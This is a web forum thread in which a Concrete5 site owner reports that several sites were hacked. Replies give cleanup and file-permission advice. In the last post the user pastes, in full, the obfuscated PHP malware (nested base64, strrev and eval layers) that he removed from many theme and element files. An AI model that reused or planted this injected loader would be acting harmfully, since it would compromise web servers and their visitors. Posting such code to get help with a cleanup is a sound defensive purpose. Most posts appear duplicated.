SIte Hack gone down:
Permalink
Good Morning PLease help
LAst night at some point a few of my concrete 5 sites appear to have been hacked?
error
Parse error: syntax error, unexpected '<' in /data/~ADMINplayusp3net/www/concrete/elements/header_required.php on line 89
and this on another:
Parse error: syntax error, unexpected '<' in /data/~ADMINcochraneorguk/web/index.php on line 10
http://test.usp3.net/
http://www.cochrane.org.uk/
Can any one help please??
With Thanks
Carl Lee
LAst night at some point a few of my concrete 5 sites appear to have been hacked?
error
Parse error: syntax error, unexpected '<' in /data/~ADMINplayusp3net/www/concrete/elements/header_required.php on line 89
and this on another:
Parse error: syntax error, unexpected '<' in /data/~ADMINcochraneorguk/web/index.php on line 10
http://test.usp3.net/
http://www.cochrane.org.uk/
Can any one help please??
With Thanks
Carl Lee
Important things to do (not necessarily exhaustive list):
1. Disable the site to visitors until you have it fixed.
2. Check your development computer for viruses, trojans etc.
3. Change your FTP and C5 passwords, and any other passwords to do with your web hosting account.
4. Inform your web hosting provider, in case there is an issue with their security.
5. Search your web server to see if the hackers have left a back door script file or downloadable file anywhere. This may not be in php, it could be in another language or tricked file name.
6. Upload clean copies of all code, not just the files you have found so far (just in case the hack has left a back door elsewhere attached to existing files)
7. Check the file permissions. Some admins conveniently set everything to 777 because it avoids having to think about setting the right permissions for specific folders, or the hack may have done so.
8. Check .htaccess.
9. When you go live again, force any users of your site to change their passwords.
1. Disable the site to visitors until you have it fixed.
2. Check your development computer for viruses, trojans etc.
3. Change your FTP and C5 passwords, and any other passwords to do with your web hosting account.
4. Inform your web hosting provider, in case there is an issue with their security.
5. Search your web server to see if the hackers have left a back door script file or downloadable file anywhere. This may not be in php, it could be in another language or tricked file name.
6. Upload clean copies of all code, not just the files you have found so far (just in case the hack has left a back door elsewhere attached to existing files)
7. Check the file permissions. Some admins conveniently set everything to 777 because it avoids having to think about setting the right permissions for specific folders, or the hack may have done so.
8. Check .htaccess.
9. When you go live again, force any users of your site to change their passwords.
Good Afternoon
Thanks for your repy, Ok i have informed the provider they say nowt wrong that there end. I have been through the whole site and have removed changed any files which were moddifyied or add at the time.
I have checked the file permissions and it does appear that all the files now appear to have 777 file permissions!!!!!
How can i reset them? what are they ment to be as standard? I rember when i set-up the site i have to changemod on a few specfic files to ge tthe install to work but i did'nt set every folder to it which it now appears to have!!!
Thanks for the Help
Carl
Thanks for your repy, Ok i have informed the provider they say nowt wrong that there end. I have been through the whole site and have removed changed any files which were moddifyied or add at the time.
I have checked the file permissions and it does appear that all the files now appear to have 777 file permissions!!!!!
How can i reset them? what are they ment to be as standard? I rember when i set-up the site i have to changemod on a few specfic files to ge tthe install to work but i did'nt set every folder to it which it now appears to have!!!
Thanks for the Help
Carl
A google search for tutorials on file permissions:
http://www.google.co.uk/search?hl=en&q=linux+file+permissions+t...
Some that look like a good introduction:
http://www.elated.com/articles/understanding-permissions/...
https://www.linux.com/learn/tutorials/309527-understanding-linux-fil...
http://www.linux-tutorial.info/modules.php?name=MContent&pageid...
How to change permissions depends on your ftp program or shell access.
Generally, if you have 777, any other user/program on the same server can potentially get at your files, so the security leak could be in another account, and it has then wormed its way into yours.
755 is a good staring point for executables and directories. 644 is good for most other files. Some directories need looser write access to enable uploads and site upgrades.
See C5 documentation:
http://www.concrete5.org/documentation/installation/file-directory-...
For C5 forums discussion, a site search on
- file permissions 777
- file permissions 755
Gives some pointers, though beware of getting confused between Linux file permissions and C5 permissions (they are 2 different things)
See:
http://www.concrete5.org/community/forums/customizing_c5/concrete5-...
http://www.google.co.uk/search?hl=en&q=linux+file+permissions+t...
Some that look like a good introduction:
http://www.elated.com/articles/understanding-permissions/...
https://www.linux.com/learn/tutorials/309527-understanding-linux-fil...
http://www.linux-tutorial.info/modules.php?name=MContent&pageid...
How to change permissions depends on your ftp program or shell access.
Generally, if you have 777, any other user/program on the same server can potentially get at your files, so the security leak could be in another account, and it has then wormed its way into yours.
755 is a good staring point for executables and directories. 644 is good for most other files. Some directories need looser write access to enable uploads and site upgrades.
See C5 documentation:
http://www.concrete5.org/documentation/installation/file-directory-...
For C5 forums discussion, a site search on
- file permissions 777
- file permissions 755
Gives some pointers, though beware of getting confused between Linux file permissions and C5 permissions (they are 2 different things)
See:
http://www.concrete5.org/community/forums/customizing_c5/concrete5-...
Good Afternoon
Thank you for your responce, yes i di dknow about changing permissions on the unix server. The problem was what file to waht permissions. I have chmod -Rv 755 the whole html folder which i belive has locked the problems out.
However this has casued a problem with the file manager.
1st i had the problem could not access the file so i gave the www/files dir a 775 which didn't work so i made it 777 which fixed the file sso i can now upload new ones but once they are uploaded they seem to have the wrong permissions 500 i belive set which means they dont display on the site.
Again this isnt the stangest ever as i have notice that the owner and group of the files and foldes under files/ appear to be owned by www-admin not the ftp user!!!
Does any one know if they is normal? should they be set to the accotnus username like the rest of the concrete5 install! but if i do the thumnails dotn work in the file manager!!
Regards
Carl Lee
Thank you for your responce, yes i di dknow about changing permissions on the unix server. The problem was what file to waht permissions. I have chmod -Rv 755 the whole html folder which i belive has locked the problems out.
However this has casued a problem with the file manager.
1st i had the problem could not access the file so i gave the www/files dir a 775 which didn't work so i made it 777 which fixed the file sso i can now upload new ones but once they are uploaded they seem to have the wrong permissions 500 i belive set which means they dont display on the site.
Again this isnt the stangest ever as i have notice that the owner and group of the files and foldes under files/ appear to be owned by www-admin not the ftp user!!!
Does any one know if they is normal? should they be set to the accotnus username like the rest of the concrete5 install! but if i do the thumnails dotn work in the file manager!!
Regards
Carl Lee
Could you tell your host our multiple sites are hacked same way . Some also carry messages on index pages. Same Code PHP which you have shown ?
It seems problems is with Host as they seem to have less security and code injection is easy on php at many hosts .
It seems problems is with Host as they seem to have less security and code injection is easy on php at many hosts .
Hi there
Yes I believe it was a problem with permissions on the server. They have now restricted the access to files on the ftp space and no more hacks so far.
How ever watch out as they have messed up the file permissions on concrete5 so now the file uploaded uploads files but doesn't have permission to use them. So I have to manually login and updated the file permissions for both the thumbnails and files folder of the new pictures.
If any one can tell me what the default permissions and owner are meant to be for the files directories and thumbnails so I can get them to change it would be nice.
Regards
Carl
Yes I believe it was a problem with permissions on the server. They have now restricted the access to files on the ftp space and no more hacks so far.
How ever watch out as they have messed up the file permissions on concrete5 so now the file uploaded uploads files but doesn't have permission to use them. So I have to manually login and updated the file permissions for both the thumbnails and files folder of the new pictures.
If any one can tell me what the default permissions and owner are meant to be for the files directories and thumbnails so I can get them to change it would be nice.
Regards
Carl
Sir if its Hostnine, we believe they have totally lost it . We have got about 6-7 Hacking attack on different account in just few months. And Even one account's PHP files (joomla) are deleted and they are now charging $10 for account recovery.
H9 has several loopholes. And now we have to bear it all.
We think WHM would have been better to them instead of Reseller Central.
And rest they know it as they have acknowledged .
H9 has several loopholes. And now we have to bear it all.
We think WHM would have been better to them instead of Reseller Central.
And rest they know it as they have acknowledged .
Just saw the same thing with my first Concrete5 site at dreamhost. Ended up having to delete the whole site. The fact that Concrete5 is so easily hackable in this way (do a forums search) makes me think that it is unsafe. I'll try it again when the Concrete5 folks get their security act figured out.
The above post makes it clear that it not a C5 issue, a Joomla site also got hacked - 'even one account's PHP file (joomla) are deleted'
If you want to change something about your site for better security, Google
https://www.google.co.uk/search?hl=en&q=dreamhost+hacked...
And you will see that you are probably jumping to the wrong conclusion.
If you want to change something about your site for better security, Google
https://www.google.co.uk/search?hl=en&q=dreamhost+hacked...
And you will see that you are probably jumping to the wrong conclusion.
I found the problem and are in teh case of fixing it -- can any help with how this happend please and how to stop it again?
Below i have put a list of how i fixed this issue what files were modified that i found so far!!!!
locations:
/www/concrete/blocks/autonav/templates --- header_menu.php
/www/concrete/blocks/page_list/templates blog_index.php
/www/concrete/elements ---
/www/concrete/themes/dark_chocolate -- default.php
/www/concrete/themes/dark_chocolate/elements -- header.php / footer.php
www/concrete/themes/default -- default.php
/www/concrete/themes/default/elements -- header / footer.php
/www/test/concrete/elements/ header_required.php on line 89
other Files: .php
page_controls_header
header_required
block_area_footer
block_area_footer_view
block_area_header
block_area_header_view
block_footer
block_footer_ADD
block_footer_edit
block_footer_view
block_header
block_header_add
block_header_edit
block_header_view
dialog_header
footer_required
pane_header
search_header
header_menu
Code Removed from bottom: found by search for date time changed modified at 4 in morning???
<?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = "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pO31ldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9QVNmN2t5YU5SbWJCUlhXdk5uUmpGVVdKeFdZMlZHSm9VR1p2TldaazlGTjJVMmNoSkdJdUpYZDBWbWM3QlNLcjFFWnVGRWRaOTJjR05XUVpsRWJoWlhaa2dpUlRKa1pQbDBaaFJGYlBCRmFPMUViaFpYWmc0MmJwUjNZdVZuWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5MEVTa2htVXpNbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVldQWE5GWm5ORVpWbFZhRk5WYmh4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiN2tpSTkwVFFqQmpVSUZtSW9ZMFVDWjJUSmRXWVV4MlRRaG1UTnhXWTJWV1BYWlZjaFpsY3BWMlZVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5UXpWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGwxalFtaEZSVmRFZGlWRlpDeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wSVNQOUVWUzJSMlZKSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDFUWlZwblJ1VjJRc0oyZFJ4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUWHBJU1YxVWxVSVpFTVlObFZ3VWxWNVlVVlZKbFJUSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbHRsVUZabFVGTjFYazB6UW1OMlpOQm5kcE5YVHl4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BraWNxTmxWakYwYWhSR1daUlhNaFpYWmtnaWRsSm5jME5IS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoQ2JoWlhaIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BJU1A5YzJZc2hYYlpSblJ0VmxJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSXNraUkwWTFSYVZuUlhkbElvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVkdJc2tpSTlrRVdhSkRiSEZtYUtoVldtWjBWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxCQ0xwSUNNNTBXVVA1a1ZVSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbEJDTHBJU1BCNTJZeGduTVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsQkNMcElDYjRKalcybGpNU0pDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoU2VoSm5jaEJTUGdRSFVFaDJiemRFZHVSRWRVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wa2lJNVFIVkxwblVEdGtlUzVtWXNKbGJpWm5UeWdGTVdKaldtWjFSaUJuV0hGMVowMDJZeElGV2FsSGRJbEVjTmhrU3ZSVGJSMWtUeUlsU3NCRFZhWjBNaHBrU1ZSbFJrWmtZb3BGV2FkR055SUdjU05UVzFabGJhSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbGhDYmhaWFoiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PXdPcGdDTWtSR0pnMERJWXBIUnloMVRJZDJTbnhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PVFmOXREYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0l2aDJZbHRUWHhzRmFqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJOUFDYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0k3a0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDTGxWbGVHNVdaRHhtWTNGRmJoWlhaa2dTWms5R2J3aFhaZzBESW9OV1FNcDFhVUprVnNWWGNuTjNjenhXWTJWR0o3bFNLbFZsZUc1V1pEeG1ZM0ZGYmhaWFprd0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDS3lSM2N5UjNjb0FpWnB0VEtwMFZLaVVsVHhRVlM1WVVWVkpsUlRKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrZ1NaazkyWXVWR2J5Vm5McElTT24xbVNpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWt5UW1OMlpOQm5kcE5YVHl4V1kyVkdKb1VHWnZObWJseG1jMTVTS2lrVFN0cGtJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZtTGRsaUk5a2tSU1ZrUndnbFJTRkRWT1oxYVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrNFNLaTBETVVGbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVm1McElTUDRRMFlpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSXZKa2JNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVpUW1oRlJWZEVkaVZGWkN4V1kyVkdKdWtpSTkwemRNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVDVzZSa2NZOUVTbnQwWnNGbWRsUmlMcElTUDRrSFRpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSTkwelpQSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDV5VldGWFlXSlhhbGRGVnNGbWRsUkNLdUpFVGpkVVNKOVVXeHRXU0MxVVJYeFdZMlZHSTlBQ2FqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJN2tDTXdnRE14c1NLb1VXYnBSSExwa2lJOTBFU2tobVV6TW1Jb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSzFRV2JzYzFVa2QyUWtWVldwVjBVdEZHYmhaWFprZ1NacHQyYnZOR2RsTkhRZ3NISWxOSGJsQlNmN0JTS3BrU1hYTkZabk5FWlZsVmFGTlZiaHhXWTJWR0piVlVTTDkwVEQ5RkpvUVhaek5YYW9BaWN2QlNLcE1rWmpkV1R3WlhhejFrY3NGbWRsUkNJc0lTYXZJQ0l1QVNLMEJGUm85MmNIUm5iRVJIVnNGbWRsUkNJc0lDZmlnU1prOUdidzFXYWc0Q0lpOGlJb2cyWTBGV2JmZFdaeUJIS29ZV2EiKGVkb2NlZF80NmVzYWIobGF2ZScpKTskZXZhbFVkQ1hURFFFUm1XbkRTID0xODc5Mjt9";$eva1tYlbakBcVSir = "\x65\144\x6f\154\x70\170\x65";$eva1tYldakBcVSir = "\x73\164\x72\162\x65\166";$eva1tYldakBoVS1r = "\x65\143\x61\154\x70\145\x72\137\x67\145\x72\160";$eva1tYidokBoVSjr = "\x3b\51\x29\135\x31\133\x72\152\x53\126\x63\102\x6b\141\x64\151\x59\164\x31\141\x76\145\x24\50\x65\144\x6f\143\x65\144\x5f\64\x36\145\x73\141\x62\50\x6c\141\x76\145\x40\72\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b\72\x40\50\x2e\53\x29\100\x69\145";$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);$eva1tYldakBcVSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBcVSjr[0.061*0.031]));$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;$eva1tYldakBcVSir = "\x73\164\x72\x65\143\x72\160\164\x72";$eva1tYlbakBcVSir = "\x67\141\x6f\133\x70\170\x65";$eva1tYldakBoVS1r = "\x65\143\x72\160";$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ?>